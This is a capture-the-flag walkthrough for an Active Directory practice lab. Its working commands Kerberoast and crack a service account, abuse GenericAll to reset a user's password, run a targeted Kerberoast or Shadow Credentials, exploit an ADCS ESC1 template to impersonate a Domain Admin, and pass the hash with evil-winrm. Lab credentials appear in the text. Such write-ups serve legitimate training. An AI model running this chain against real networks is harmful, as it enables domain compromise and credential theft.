Howlsec
HOWLSEC
offensive security
// notes/ Practice Boxes
🟧

Arasaka — HackSmarter (hacksmarter.local, 10.1.8.188)

HackSmarter AD challenge (assumed breach). Domain: hacksmarter.local (DC01). Creds: faraday : hacksmarter123

#hacksmarter#hacksmarter#walkthrough#boxes#os:windows#tech:active-directory#tech:password-attack

Arasaka — HackSmarter (hacksmarter.local, 10.1.8.188)

HackSmarter AD challenge (assumed breach). Domain: hacksmarter.local (DC01). Creds: faraday : hacksmarter123

Recon + BloodHound

🐺 howlsec@kali
$rustscan -b 500 -a 10.1.8.188 -- -sT -sV -sC -Pn      # AD DC with ADCS (hacksmarter-DC01-CA)
$bloodhound-ce.py --zip -c All -d hacksmarter.local -u faraday -p 'hacksmarter123' -dc DC01.hacksmarter.local -ns 10.1.8.188

Path: alt.svc is kerberoastable and has GenericAll over yorinobu; yorinobu has GenericWrite over soulkiller.svc; soulkiller.svc can enroll a vulnerable cert template. Domain Admins: Administrator, the_emperor.

faraday -> alt.svc (Kerberoast)

🐺 howlsec@kali
$nxc ldap hacksmarter.local -u faraday -p hacksmarter123 --kerberoasting output.txt
$hashcat -m13100 -a0 output.txt rockyou.txt      # alt.svc password

alt.svc -> yorinobu (GenericAll) -> soulkiller.svc (GenericWrite)

🐺 howlsec@kali
$bloodyAD --host 10.1.8.188 -d DC01.hacksmarter.local -u alt.svc -p '<pw>' set password yorinobu 'newP@ssword2022'
$# Targeted Kerberoast:
$targetedKerberoast.py -v -d hacksmarter.local -u yorinobu -p 'newP@ssword2022' -o Kerberoastables.txt
$hashcat -m13100 -a0 Kerberoastables.txt rockyou.txt
$# (or Shadow Credentials): certipy shadow auto -u yorinobu@hacksmarter.local -p 'newP@ssword2022' -account soulkiller.svc -dc-ip 10.1.8.188

ADCS ESC1 -> the_emperor (Domain Admin)

🐺 howlsec@kali
$certipy find -u soulkiller.svc@hacksmarter.local -hashes ':<hash>' -dc-ip 10.1.8.188 -vulnerable
$# AI_Takeover template: ESC1 (soulkiller.svc can enroll, enrollee supplies subject)
$certipy req -username soulkiller.svc -hashes ':<hash>' -ca hacksmarter-DC01-CA -target hacksmarter.local -template AI_Takeover -upn THE_EMPEROR@hacksmarter.local -dns 10.1.8.188
$certipy auth -pfx the_emperor.pfx -dc-ip 10.1.8.188      # the_emperor NT hash
$evil-winrm -i hacksmarter.local -u the_emperor -H '<hash>'   # DA -> root.txt